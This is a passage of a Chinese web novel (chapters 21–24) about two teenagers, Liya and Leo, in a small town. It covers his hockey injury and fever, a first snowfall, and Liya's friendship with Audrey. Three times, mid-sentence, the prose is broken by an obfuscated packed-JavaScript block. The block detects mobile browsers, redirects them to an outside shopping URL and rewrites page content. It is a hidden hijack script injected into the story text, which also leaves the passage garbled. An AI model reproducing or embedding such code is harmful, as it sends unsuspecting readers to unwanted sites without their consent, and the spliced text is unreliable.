的伤又示意他卷起裤腿。 小腿胫骨上有几处明显的淤青和破皮，是马克钉鞋的“杰作”。她同样仔细地消毒，然后涂上缓解瘀青的药膏，动作熟练。 处理完所有可见的伤口，莉娅将用过的棉签和包装纸仔细收进一个小塑料袋，放回药箱。 她没有立刻离开，而是像利奥一样伸手摸索着座椅侧方的调节杆，将自己这边的座椅也缓缓放倒，直到形成一个与他类似的、可以半躺的姿势。 两人并排躺在昏暗的仓库里，耳边是咿咿呀呀、仿佛来自另一个时代的老歌。 谁也没有说话。 莉娅的目光漫无目的地游移，落在了车内后视镜下悬挂着的一个小挂坠上。那是一个用某种暗色木头雕刻的、造型古朴的小锚，表面被摩挲得十分光滑，系着已经褪色的深蓝色丝线。 她看了一会儿，忽然想起了什么。抬起手从自己颈间解下一条细细的红线，红线很普通，末端坠着一枚有些年头的银币，大小如同一般的游戏币，边缘有些磨损。 她将银币递到利奥面前。 利奥转过头，有些疑惑。 “这是幸运币。”莉娅轻声解释，“可以保佑你。” 利奥伸出手，指尖略带迟疑地接过，他拿到眼前仔细端详。 “保佑什么？”他问，声音低沉，“保佑比赛顺利？还是保佑别再跟马克打架？”他的语气里带着淡淡的自我调侃。 “保佑你，”莉娅转过头，认真地看着他的眼睛，一字一句地说，“不要再受伤。” 利奥握着银币的手指收紧了。 莉娅重新将目光投向车顶布满灰尘的绒布，仿佛在回忆：“这是……莉齐给我的。” “鲈鱼候酒馆的那个莉齐？”利奥有些惊讶。 鲈鱼候是河边一个几乎被时光遗忘的老酒馆，去的多是些老家伙。 “嗯，那是我第一次自己乘船找到那里。”莉娅的嘴角笑了笑，“那天莉齐在酒馆和人打牌，手气好得离谱，据说赢光了在场所有人身上最后一个硬币。她高兴坏了，说我是他的幸运星，非要分我一份‘战利品’。她当时醉醺醺的，从赢来的一大堆零钱里挑出了这枚银币，硬塞给了我。” 他将银币紧紧攥在手心，转过头看向莉娅，在昏黄的光线下他的眼神异常认真，“谢谢，我会……好好保管它。” 莉娅微微笑了一下，“希望它能带来好运。” 她说完伸手将座椅调回原位，然后拎起药箱，动作轻巧地下了车。 她没有再说多余的话，也没有回头，只是对着驾驶座的方向轻轻挥了挥手，便弯腰从半开的卷帘门下钻了出去，身影很快消失在仓库外。 利奥没有动，依旧保持着半躺的姿势。他摊开手掌，那枚银币躺在他的掌心。 车载收音机里的老歌恰好播完，在一段嘶哑的电流杂音后，响起了另一首节奏稍快、却同样充满怀旧情调的曲子。 仓库外，橡林镇的夜晚彻底降临。 21. chapter 21 日子像月亮湖的河水，不住地往前流淌，秋季的感觉愈发浓厚。 奥黛丽来莉娅家过夜的次数变多了。 她们挤在莉娅那张不算宽大的床上，收音机里播放着最新的流行歌曲，或者一起守着那台小小的黑白电视机，看着画面不时闪烁的喜剧节目，为那些并不高明的笑话笑得前仰后合。 “别动，快干了。” 奥黛丽小心翼翼地捏着莉娅的手指，用小刷子将鲜红色的指甲油涂在她的指甲上。空气中弥漫着香蕉油和糖果的甜腻气味，莉娅看着奥黛丽专注的神情，灯光在她柔软的红色卷发上投下温暖的光晕。 “你说，社团那个新来的乐队主唱是不是对你有意思？” 奥黛丽涂完最后一只手指，压低声音，带着狡黠的笑意问道。 莉娅轻轻吹着指甲，“得了吧，他看每个穿裙子的姑娘都是那种眼神，我敢说他连校长养的那只老猫‘威士忌’都要抛个媚眼。” 两个女孩笑作一团，这是私密的、只属于少女的谈话。 她们会分享对未来的模糊幻想，比如离开小镇，去大城市，做点不一样的事情，尽管不一样具体是什么，谁也说不清。 但这些幻想本身，就像指甲油的颜色一样，为灰扑扑的现实增添了一抹亮色。 鲈鱼喉酒馆依然是莉娅的避风港。 秋意渐浓，希卡索性在酒馆后面空旷的场地上弄了个露天的炭火烧烤架。天气好的傍晚，炭火的哔剥声和烤肉的滋滋声就成了最好的招牌。 这天傍晚，莉娅和奥黛丽一起过来。乔正在尝试他的秋季特饮，一种混合了苹果汁、少量本地威士忌和神秘香料的热饮，他用铜壶装着给每个感兴趣的人倒上一小杯。 乔依旧口吃，但介绍起他的饮品时眼神里闪着光，话语也流畅了不少：“尝、尝看……暖、暖身子，像、像秋天的太阳。” 莉齐穿着一件厚实的格子衬衫，袖子挽到手肘，正站在烧烤架前，熟练地翻动着大块的猪排和香肠，炭火把她的脸庞映得红彤彤的。 看到莉娅和奥黛丽，她立刻用沾着油渍的手一手一个，把两个女孩搂到身边，用力在她们脸颊上各亲了一口，留下一点油印和浓浓的烟熏味。 “我的姑娘们来了，快，刚烤好的肋排，最好的部分给你们。”她不由分说地塞给她们一人一个堆满食物的盘子。 “莉娅，自从开学了，你去钓鱼少了，送来酒馆的鱼都不像你送来的那样新鲜。” 老板希卡咂咂嘴，声音洪亮，引得旁边几张桌子上的常客，大多是些在矿上或木材厂干了一天活、脸上带着疲惫但此刻松弛下来的男人们都转过头来笑。 一个留着大胡子的男人灌了一口啤酒，附和道：“没错，不说假话。有些舌头好的尝过了都知道到底是谁送来的，莉娅钓的鱼，那个鲜甜味骗不了人。知道你今天有没有来，就看盘子里的鱼。” 众人一阵善意的哄笑。 莉娅有些不好意思地低下头，心里却暖洋洋的。在这种地方，她的价值被用一种最质朴的方式肯定着。 通过味蕾，通过劳动。 奥黛丽性格更外向，很快就和酒馆里的人们聊开了，问着比赛的事，问着镇上最近的八卦。男人们也乐意和这两个活泼的少女搭话，说些无伤大雅的玩笑，或者吹嘘一下自己年轻时的“壮举”。 口吃的乔偶尔插一句话，总能引发一阵更欢快的笑声，但他并不介意，只是憨厚地笑着，继续给大家斟满他的特饮或者廉价的啤酒。 炭火噼啪，肉香四溢。 莉娅看着这一切，暂时忘记了利奥紧绷的脸庞、训练后的沉默，以及那句沉重的“我只是很擅长”。在这里她只是莉娅，一个会钓鱼、有个活泼闺蜜、被酒馆老板当女儿疼的普通女孩。 几天后一个消息像野火般传遍了小镇，橡林镇曲棍球队在地区半决赛中艰难取胜，闯入了决赛。 这是多年来的第一次。 小镇沸腾了，一种压抑已久的渴望被点燃。临街的商店橱窗上，出现了手写的“庆祝橡林镇进入决赛，今日九折！”的告示。 酒馆里，已经有人开始嚷嚷着要是赢了冠军，非得“畅饮到天亮”不可。 压力无形中更重了。 莉娅在学校里看到利奥，他的左臂似乎总是微微缩着，训练时脸上的表情更像是在忍受酷刑，而不是享受运动。 但她什么也没说，她知道或许现在此刻任何关于他伤势的关心，在决赛这个巨大的光环下，都会显得不合时宜，甚至是一种冒犯。 决赛那天，学校并没有组织集体去观赛，因为比赛地点在另一个较远的城镇。 莉娅像往常一样上课，但能感觉到整个学校都弥漫着一种心不在焉的躁动。老师们讲课的声音似乎也失去了往日的权威，时不时被窗外可能传来的凯旋车队的声音打断。 傍晚时分，当载着球队的校车缓缓驶回橡林镇时，真正的狂欢开始了。先是几声汽车喇叭的长鸣，接着越来越多的喇叭加入进来。人们从房子里涌出来聚集到主街上，不知是谁搬来了一个旧鼓，咚咚地敲着。 孩子们兴奋地尖叫奔跑。 莉娅和奥黛丽也挤在人群中，她们看到校车车头上挂着象征胜利的绶带，车窗里球员们疲惫却兴奋的脸紧贴着玻璃，向窗外挥舞着手臂。 利奥是最后一个下车的，他脸上没有什么表情，甚至比平时更苍白。 他的左臂，从手腕到肘部都缠着厚厚的白色绷带，在暮色中格外显眼。他被兴奋的队友们推搡着，簇拥着。 霍奇斯教练站在车门口，脸上是压抑不住的激动和宽慰，他用力拍着每一个下车队员的肩膀，但当他看向利奥时，眼神里闪过忧虑。 当晚，鲈鱼喉酒馆果然宣布啤酒“限时优惠”，人声鼎沸几乎要把屋顶掀翻。 但莉娅没有去凑热闹，她独自一人来到了学校的陈列馆。那里白天庆祝的喧嚣还未完全散去，空气中有种灰尘和汗水混合的味道。 在橱窗最显眼的位置，新添了那座闪亮的冠军奖杯。奖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790940|190583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杯后面，是刚刚挂上去的冠军集体照。照片里，所有的球员都穿着沾满泥土的队服，脸上洋溢着狂喜和疲惫。 霍奇斯教练站在正中间，脸上是完全舒展的笑容。他的右手，紧紧地搭在身边利奥的肩膀上。利奥在照片里，微微抿着嘴，试图挤出一个笑容。 莉娅静静地站在那里看了很久，窗外的欢呼声隐隐传来，更衬得陈列馆里寂静无声。 这座奖杯，这张照片，是橡林镇的荣耀，但对照片中央那个少年而言，又意味着什么？ 她想起训练后他说的那句话：“我没那么喜欢，我只是很擅长。” 这句“擅长”的代价，就明明白白地写在那厚厚的绷带上，和那张强颜欢笑的照片里。 夺冠后的狂热持续了几天，但小镇的生活终究要回到原有的轨道。矿坑的哨声依旧准时响起，校车依旧在晨雾中颠簸前行。 只是关于利奥的伤势，开始有更具体的消息流传出来。 霍奇斯教练在狂喜过后，终于正视了队医的严肃报告。利奥的手臂过度劳损加上决赛的激烈碰撞，出现了严重的韧带损伤，必须立即停止一切训练和比赛，进行长时间的休养。 “你这孩子，伤这么重怎么不早说？”据说霍奇斯教练在办公室里又是心疼又是后怕地数落利奥，语气苦口婆心，“你的前途还要不要了，不只是橡林镇，是你自己的未来。万一留下永久性损伤，你以后怎么办？” 这些话语通过种种渠道，碎片般地传到莉娅耳中。她能想象利奥当时的样子，一定是低着头，沉默地接受所有的责备和关心。 利奥被勒令休整。 放学后他也总是第一个离开教室，很快消失在通往镇外的小路上。 莉娅有好几天没正经看到过他，即使偶尔遇见也只是匆匆点头，便与她擦肩而过。 莉娅知道该去哪里找他。 在月亮湖下游有一片少有人至的河湾，需要划小木船，穿过一片生长着茂密水烛和灌木的浅滩，才能到达。 河湾旁有一棵巨大的山核桃树，它的树龄可能比橡林镇的历史还要久远。树干粗壮得需要两三人才能合抱，枝桠虬曲伸展，即使在秋天叶子变得金黄稀疏，也依然有一种庄严的气度。 夏天时它会开出不起眼的穗状花，而现在叶子间还零星挂着一些未被松鼠摘尽的、坚硬果实。树下有一小片平坦的草地，是观察星空和躲避尘世的绝佳所在。 傍晚时分，莉娅推着那艘吱呀作响的小木船下了水。河面很平静，夕阳的余晖把河水染成了金红色，对岸的树林已经笼罩在深蓝色的暮霭中。她熟练地驾驶着船到河湾，果然在那棵巨大的山核桃树下，看到了一个熟悉的身影。 利奥仰躺在草地上，一条腿曲着，另一条腿伸直。他的背包随意丢在旁边，那缠着白色绷带的手臂搭在额头上，遮住了眼睛。 他看起来像是睡着了，胸口的起伏很轻微。 落日的最后一点光芒穿过山核桃树金黄的叶片，在他身上投下斑驳晃动的光点。 22. chapter 22 莉娅轻轻把船缆系在一块凸起的树根上，涉过浅水，走到岸边。 她的动作不小，踩在落叶和碎石上发出沙沙声响，但利奥没有任何反应，依旧维持着那个姿势，仿佛与大地融为了一体。 她理了理被风吹乱的裙摆，挨着他身边的草地坐了下来，与他保持着一点距离，却没有刻意隐藏自己的存在。她没有立刻说话，只是和他一起听着风吹过树梢的呜咽，听着近处河水的潺潺声，听着归巢鸟儿的最后几声啼叫。 天色渐渐暗下来，星星开始一颗接一颗地在深邃的夜空中亮起，越来越多，越来越密。秋夜的凉意渗透过来，莉娅忍不住抱了抱胳膊，搓了搓有些发冷的手臂。 这时，身边的人才终于有了动静。 利奥缓缓地把搭在额头上的手臂移开，睁开了眼睛。他的眼睛在星光下显得很亮。他坐起身，动作有些迟缓，没有看莉娅，只是望着波光粼粼的河面。 “回去吧。”利奥的声音沙哑，带着刚醒来的困倦。 他站起身，拍了拍裤子上的草屑，准备离开。 “利奥。”莉娅叫住了他。 他停下脚步，半转过身。 莉娅也站起身，她看着他的背影，看着他那条被绷带包裹的手臂，想起陈列馆里那张照片上他勉强的笑容，想起教练那句“你的前途还要不要了”，想起酒馆里人们为胜利的欢呼。 所有的一切，最终凝聚成一句清晰的诘问： “这就是你想要的结果吗？” 她的声音不高。 利奥原地站了一会儿，然后慢慢地又坐回了那棵巨大的山核桃树下，与莉娅之间隔着一段礼貌的距离。 他没有看她，目光投向黑暗中泛着微光的河面。 “我没有多喜欢曲棍球，”他重复了那句如今莉娅已熟知的话，但这次后面跟着的是漫长而具体的岁月，“我只是擅长。” 利奥从六岁那年被父亲第一次带到霍奇斯教练面前开始，每天清晨当其他孩子还在温暖的被窝里酣睡，他就要起床迎着橡林镇刺骨的晨雾或酷暑，去球场上奔跑、挥杆、承受教练严厉的训斥。 汗水浸透衣服，泥土沾满脸颊，激烈的对抗中磕碰淤青是家常便饭，扭伤摔跤更是司空见惯。 他不喜欢那种筋疲力尽的感觉，不喜欢身上总是隐隐作痛，更不喜欢必须赢的压力。 “但擅长一件事……是有一种奇怪的胜任感的。”他低声说，“当球在你手里，所有人都看着你，期待你能做点什么的时候……你会觉得辜负这种期待，就好像辜负了自己与生俱来的某种东西。” 那种感觉与其说是热爱，不如说是一种责任感。 父亲去世后家里的顶梁柱塌了，母亲强忍悲痛依旧把家里收拾得一尘不染，院子里的玫瑰依旧开得热烈。 他的两个姐姐那时也还是半大的孩子，突然之间被迫长大了，她们依旧吵吵嚷嚷，但会下意识地避开关于父亲的话题。 “曲棍球成了唯一一件还能把我们家聚在一起的事情。” 他的每一场比赛，母亲和姐姐们都会到场，风雨无阻。 一次，他们赢了一支强队，对方有个球员不服气，在冲突中恶意地喊：“神气什么，没爹教的东西。” 他话音未落，利奥那两个平日里看起来只是聒噪的姐姐，像两只被激怒的母狮，一左一右冲了上去用连珠炮似的、夹杂着本地俚语的犀利言辞，把那个挑衅者骂得面红耳赤，差点哭出来，最后被队友死死拉走。 那一刻利奥站在场上，只是认真地看了很久，没有说话。 他不喜欢曲棍球，但这项运动阴差阳错地成了维系这个破碎家庭的纽带，是他们在失去后还能共同面对外界的一种方式。 “这次受伤……也许是一种解脱。” 他终于说出了这句压在心底最深的话。 手臂的剧痛和可能终结的运动生涯，像一道裂缝让他看到了从那条“被期待”的路上逃开的可能性。 尽管这解脱伴随着巨大的迷茫和负罪感。 他说了很久，断断续续，直到声音越来越低。 莉娅起初沉浸在他的叙述里，但渐渐地，她察觉到不对劲。 利奥他在发高烧。 “利奥。”莉娅的心猛地一沉。 伤后感染，加上身心俱疲，这高烧来势汹汹。 利奥似乎想说什么，但只是含糊地咕哝了一声，身体晃了晃几乎要瘫软下去。 莉娅当机立断，必须立刻带他回去：“能走吗，我们得回船上。” 她用力撑起他，利奥凭借残存的意识，勉强跟着她踉跄地走向岸边的小船。 莉娅把他安置在狭小的船舱里，夜里的河水漆黑一片，她的心怦怦直跳，只有一个念头： 快点，再快点。 靠岸后莉娅几乎是半背半扶地把利奥弄回了家。 利奥家一片漆黑，他母亲这天刚好去看望两个姐姐，原本计划不回来住。 莉娅喘着气，从利奥口袋摸出钥匙，打开了门。 搀扶着他跌跌撞撞地走上二楼，进入他的房间。莉娅摸索着打开台灯，昏黄的灯光照亮了这个属于少年的私人空间。 墙上贴着几张泛白的长曲棍球明星海报，书架上摆着几座大大小小的奖杯和奖牌蒙着一层薄灰。书桌上方挂着一幅家庭合影，照片上的利奥年纪更小，站在父母和姐姐中间，笑得无忧无虑。 床头柜上，散落着几本体育杂志和止疼药的空瓶。 莉娅把利奥安顿在床上，他几乎立刻陷入昏睡，额头烫得吓人。她想去打电话通知他母亲，却被利奥滚烫的手下意识地抓住手腕，嘴里含糊地念着：“别……别告诉她，没事……” 看着他烧得通红却固执的脸，莉娅妥协了。 她找到药箱，用冷水浸湿毛巾敷在他额头上，又费力地喂他吃下退烧药。然后她轻手轻脚地下楼，在厨房里找到了简单的食材，熬上了一锅清淡的粥。 做完这一切疲惫感袭来，莉娅从利奥的书房拿了一本看起来很久没人动过的书，回到一楼客厅，她窝在沙发上一边留意楼上的动静，一边漫无目的地翻着书页。 窗外的世界寂静无声，只有屋子里挂钟的滴答声和利奥偶尔因为不适发出的微弱呻吟。 等着等着，极度的困倦让她再也支撑不住，倚在沙发扶手上，沉沉睡去。 * 莉娅是被窗外细微的光线变化和身上轻微的触感惊醒的。她迷迷糊糊地睁开眼，发现自己身上不知何时多了一条柔软的羊毛毯。 猛地坐起身，看向窗外，天已蒙蒙亮。 楼梯传来轻微的脚步声，她抬头看见利奥站在楼梯口。他换上了干净的睡衣，头发还有些湿漉漉的，像是刚用冷水擦过脸。 脸色虽然依旧苍白，但那种不正常的潮红已经褪去，眼神也清明了许多。 “你醒了，”莉娅的声音带着刚睡醒的沙哑，“烧退了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790941|190583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗？” “嗯，退了。” 利奥的声音也有些哑，他走下楼梯，脚步还有些虚浮。他没有看莉娅，而是径直走到客厅那面巨大的落地窗前。 这是这栋老房子最好的景致，窗外是逐渐开阔的湖岸和树林。 他伸出手，哗啦一声，拉开了厚重的窗帘。 刹那间一个银装素裹的世界撞入眼帘，窗外细密的、无声的雪花正纷纷扬扬地飘落，地上、树上、湖岸边，已经覆盖了一层薄薄的、洁白的新雪。 这是今年的第一场雪，静默而突然，将秋日的最后一丝痕迹彻底抹去。 湖面泛着铅灰色的光，对岸的树林在雪中显得朦胧而静谧。整个世界的喧嚣都被这柔软的白色吸收了，只剩下一种浩大而纯净的安宁。 “下雪了。”利奥轻声说，似乎也有些意外。 莉娅也走到窗边，和他并肩站着，看着这静谧的雪景。寒意透过玻璃传来，她下意识地抱了抱胳膊。 利奥转身走到沙发边，拿起那条羊毛毯，然后又走回来，将莉娅裹在了里面。 他们并肩坐在落地窗前，共享着这条毯子的温暖。他的手垂在身侧，离她的手很近，近到几乎能感受到对方皮肤散发的微热。 粥的香气还在空气中隐隐飘荡，莉娅想起灶上还温着的粥，轻声说：“我去把粥端来。” 她很快端来两碗热气腾腾的粥，递了一碗给利奥。两人就在窗前，看着雪，默默地喝着粥。 温暖的粥滑过喉咙，驱散了最后的寒意和疲惫。 屋子里很安静，只有喝粥的细微声响和窗外落雪的静默。 过了好一会儿，莉娅望着窗外被白雪覆盖的湖岸，忽然开口，声音很轻：“我其实知道……我母亲可能已经去世了。” 利奥喝粥的动作顿住了，转头看向她。 莉娅的侧脸在雪光的映衬下，平静得近乎透明。 “有一天以后每一周寄来的信，笔迹都不同。”她继续说，“可能是俱乐部那群人轮流写的，内容也差不多……都是鼓励的话，说她很好，只是工作很忙。” 她停顿了一下，轻轻搅动着碗里的粥，“但我还是假装不知道，每周等信，然后回信，告诉她我很好，橡林镇很好。” 她说出来了。 这个她独自保守了很久的、关于离别的秘密，在这个初雪的清晨，在这个刚刚经历高烧和袒露心事的男孩身边，自然而然地流淌了出来。 利奥沉默地听着，然后他垂下眼帘，长长的睫毛在苍白的脸上投下淡淡的阴影。 他没有说任何安慰的话，比如“节哀”或者“会好的”。他只是把粥碗放在旁边的窗台上，然后用那只没有受伤的右手，将共享的毛毯又往莉娅那边拢了拢，让彼此靠得更近些。 他们的手臂紧紧相依，手背在毯子的遮掩下，偶尔轻轻碰触。 窗外的雪静静地下着，屋内温暖而安宁。 过了很久利奥才低声说，声音轻得像雪落：“我们是一样的。” 在这个被冰雪覆盖的寂静早晨，在这扇可以望见整个湖光的落地窗前，他们两个在寒冷的世界里偶然找到了可以相互依偎、汲取一点点温暖的同类。 莉娅没有说话，只是微微侧过头，将额头轻轻抵在冰冷的玻璃上，感受着窗外冰雪的凉意，和身边那人传来的温暖。 雪还在下，仿佛要将整个橡林镇，连同它的秘密、它的荣耀、它的伤痛，都温柔地掩盖起来。 23. chapter 23 曲棍球联赛的喧嚣如同最后一波热烈的潮水，彻底退去了，留下的是橡林镇惯常的、略带冷清的宁静。 对于戴维这样的球员来说，潮水带走的不只是一个赛季，而是整个高中时代的竞技生涯，甚至可能是与这项运动最后的、正式的联系。 戴维没有再打球了，他心知肚明，自己的才能或许在橡林镇青少年队里算得上翘楚，能凭借着一股蛮勇和还算不错的体格横冲直撞，但这几乎就是天花板了。没有大学球探对他抛出橄榄枝，更没有职业球队的意向书飞来这个偏僻的小镇。 高中生涯的最后一场球赛，就是终点。哨声响起的那一刻某种东西确实结束了，但伴随而来的并非全是失落，反而有一种“终于结束了”的释然。 有些路，走到头了就是走到头了，强求只会显得滑稽。 球队里和他同届的队员们也陆陆续续退队，如同毕业季必然的离散。大家各有各的打算，有的准备接替父辈的工作去矿上或伐木场，有的打算去州里念个社区学院，还有的像马克一样留在队里。 区别在于，教练老霍奇斯对其他人的离开只是点点头，拍拍肩膀，说几句“好好干”之类的鼓励话，唯独对利奥，他惋惜了很久。 一个训练结束后的傍晚，天色灰蒙蒙的，空气里已经有了刺骨的寒意。球场上只剩下利奥和霍奇斯教练。利奥正把一些属于自己的零碎东西，比如一个旧水壶、一副磨破了的手套一一塞进一个帆布包里。 教练走了过来，双手插在旧夹克的口袋里，那件夹克上似乎永远带着一股淡淡的雪茄和松针混合的气味。 “真不再考虑考虑了？”教练的声音比平时柔和，少了些场上咆哮时的沙哑，“州立大学那边，我还能再写封信……他们的俱乐部球队水平不差。” 利奥拉上帆布包的拉链，直起身对教练笑了笑。 “算了教练，你知道的，就到这儿了。”他顿了顿，看着这个从小对自己严厉又暗含关心的长辈，“我的才能，没你想的那么了不起，够在橡林镇耍耍威风就行了。” 霍奇斯教练咕哝了一声，像是不同意，他掏出一个扁平的金属烟盒，里面孤零零地躺着几根自卷的烟卷。他抽出一根刚要点上，像是忽然想起什么，看了看利奥：“来一根？” 利奥犹豫了一下，点了点头。 他平时不怎么抽烟，但此刻他觉得需要某种仪式感的东西。 利奥接过烟，教练用那个旧火机给他点上，火苗在暮色中一闪一闪。他吸了一口，劣质烟草的辛辣味呛得他轻轻咳嗽了一下。 霍奇斯教练自己也点上一根，深吸一口，然后像个怕被老婆发现偷藏私房钱的老男孩一样，警惕地四下看了看，才压低声音说：“省着点抽，我就这一盒了，我家那位闻着味儿就能把我逮住。” 他那副小心翼翼的样子，瞬间冲淡了离别的伤感。 两人就站在空旷的球场边，默默地抽着烟。烟雾在寒冷的空气里袅袅上升，模糊了彼此的轮廓。 过了一会儿，教练望着远处开始泛白变秃的山峦，眼神有些飘忽，声音也带上了几分罕见的语调：“你知道吗，我还幻想着有一天你能签个大联盟的合同，哪怕是替补席。然后说不定会有那么一两个体育记者从大城市跑来橡林镇这个犄角旮旯，想挖挖你的成长故事。” 他吐出一个烟圈，笑了笑，“我呢，作为你的启蒙教练，我还偷偷琢磨过到时候该怎么跟人家说。是说你这小子小时候训练偷懒被我骂哭过好几次？还是说你父亲刚走那阵你像头发疯的小野牛，在球场上把对手当仇人一样撞？” 利奥听着，鼻子有点发酸，他用力吸了一口烟，让那辛辣的感觉压住喉头的哽咽。 教练转过头，看着他，眼神恢复了平时的锐利，但深处是毫不掩饰的骄傲和惋惜：“我他妈连怎么吹牛都想好了，结果你这臭小子又不爱惜自己的本钱，说不干就不干了。” 他笑骂着，用拳头不轻不重地捶了一下利奥的肩膀，那是他们之间表达亲昵的方式。 利奥也笑了，揉了揉肩膀：“对不起啊教练，让你吹牛的计划泡汤了。” “算了算了，”教练摆摆手，把烟头扔在地上，用脚仔细碾灭，“人各有志，以后……常回来看看，这球场永远有你站的地方。” “嗯。”利奥重重地点了点头。 那一刻没有激烈的情绪宣泄，只有烟雾中达成的理解与和解。 对利奥而言，这像是一个郑重的句号，为他人生中重要的一章画上了终点。 * 昨天傍晚下了一场很大的雪。 莉娅在周日清晨推开家门时，整个世界都仿佛被重新塑造过，昨夜还显露着枯草和远处墨绿色的松林顶冠，此刻全都淹没在一种蓬松的白之下。 通往奥黛丽家的路，平日里是一条被车轮碾出两道深深车辙的土路，两旁是高大茂密的橡树和糖枫。 莉娅穿着厚重的雪地靴，每一步都深深陷入，发出“嘎吱——嘎吱——”的声响。 橡树和糖枫伸展着枝桠，积雪堆积在每一根能够承重的枝条上，时不时会有一团雪“噗”地一声滑落，在树下溅起一小片雪雾。空气清冽得像含着薄荷，吸入肺腑，能带走脑海里最后一丝混沌与睡意。 奥黛丽家的木屋是用粗大的原木搭建的，经年累月的风雨让它呈现出深沉的褐色，此刻被白雪覆盖了屋顶和窗沿，烟囱里正冒出袅袅的青烟。 还没等莉娅完全走近木屋的栅栏，屋门“砰”地被撞开，三道棕黑色的影子带着欢快而短促的吠叫，卷起漫天雪雾，瞬间就将莉娅包围了。 是奥黛丽家的三条猎犬，老大土豆体型最大，神情严肃。老二闪电动作最为敏捷，总是第一个冲到客人面前。以及年纪最小也最蠢萌的果冻，它通常反应会慢半拍，此刻正努力地想挤到最前面，尾巴摇得像直升机的螺旋桨。 霍金斯先生是橡林镇乃至整个区域都数得着的好猎手，他训练出的猎犬以机敏、忠诚和出色的追踪能力闻名。但在家人和朋友面前，它们卸下了所有狩猎时的警惕与凶猛，温顺得像三只渴望抚摸和玩耍的大号绒毛玩具。 它们用湿漉漉、冰凉的鼻子蹭着莉娅戴着毛线手套的手，喉咙里发出亲昵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790942|190583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的、撒娇般的呜呜声，热烘烘的呼吸在冷空气中凝成一团团白雾。 “莉娅这边，快来看我的杰作。” 奥黛丽的声音从屋后那片开阔的空地传来。 莉娅笑着，费力地从猎犬们热情的欢迎仪式中脱身，拍了拍它们毛茸茸的脑袋，循着声音绕到屋后。 空地上奥黛丽·霍金斯像一团跳跃的、永不熄灭的火焰。她穿着一件鲜艳无比的橘红色羽绒服，没戴帽子，火红色的卷发上落满了雪花，像撒了一层糖霜。 此刻她正弯腰，吭哧吭哧地奋力滚着一个已经相当巨大的雪球，那雪球几乎到她腰部那么高。 “快来搭把手，”奥黛丽喘着气，脸上因为用力而红扑扑的，“这大家伙沉得像头睡着的熊。” 莉娅加入她，两人一起用力将这个作为雪人身体的底座雪球立稳。接着她们又合作滚了一个稍小些的雪球，合力抬起来，安在了底座上。 “现在，是赋予它灵魂的时刻。” 奥黛丽从口袋里掏出一根蔫了的胡萝卜。 “从厨房窗台上的存货里借来的，”她眨眨眼，“看多挺拔的鼻梁，像不像学校里鼻梁能戳死人的汉斯教授。” 莉娅被她的形容逗乐了，抿着嘴笑，眼角弯成了好看的月牙，“像极了，”她赞同道，然后从自己的口袋里掏出两颗她来路上在溪边捡的鹅卵石，轻轻按在雪人脸上，“眼睛。” “嘿，好主意。”奥黛丽凑近仔细端详，“眼神……有点忧郁，像个有故事的家伙。” 她左右看看，又跑到旁边的灌木丛折了两根光秃秃的树枝，用力插在雪人身体两侧，充当胳膊。 最后，她把自己头上那顶已经掉了一些毛球的旧毛线帽摘了下来，郑重其事地扣在了雪人光秃秃的头顶上。 “完美。”奥黛丽后退几步，双手叉腰，“给他起个名字吧莉娅，你起的名字总是比较好。” 莉娅看着这个歪戴着旧毛线帽和一根蔫胡萝卜鼻子的、略显滑稽却又莫名可爱的雪人，想了想，轻声说：“叫他福斯特先生怎么样？看起来像个隐居在此、脾气有点古怪但心地善良的老绅士。” “成交，福斯特先生，欢迎正式入住霍金斯林地。”奥黛丽像对待真人一样，拍了拍雪人结实的“肩膀”，然后，毫无预兆地她猛地向后一倒，整个人毫无形象地摔进厚厚的积雪里，手脚并用地大幅度划动起来。 “快来莉娅，做雪天使，这可是每年第一场雪的保留节目。” 莉娅看着她欢快的样子，也学着她的样子，小心翼翼地在她旁边躺下。 雪地冰凉，隔着厚厚的羽绒服和裤子也能清晰地感觉到那寒意。 她展开手臂像鸟儿挥动翅膀一样上下摆动，听着身下的雪被压实摩擦发出的独特的“咯吱”声。 她们并排躺在雪地里，不再动作，只是静静地望着无尽的、灰蒙蒙的天空。 雪花依旧不知疲倦地飘落，落在她们的额头上、睫毛上、鼻尖上，瞬间融化。 世界安静得只剩下她们自己的呼吸声，以及雪花落下的、几乎无法捕捉的簌簌声。 24. chapter 24 “真安静啊，”奥黛丽轻声说，呼出的白气在她面前袅袅上升，然后消散在飞舞的雪花中，“好像整个世界都睡着了，就剩下我们俩还醒着。” “嗯，”莉娅轻轻地应了一声，“从前下雪后，我妈妈总会升起炉子做肉桂苹果卷。面粉、黄油、肉桂糖的香味，和烤苹果的甜香混在一起，能把整个屋子都烘得暖洋洋的，连窗户上都会结起一层甜甜的水汽。” 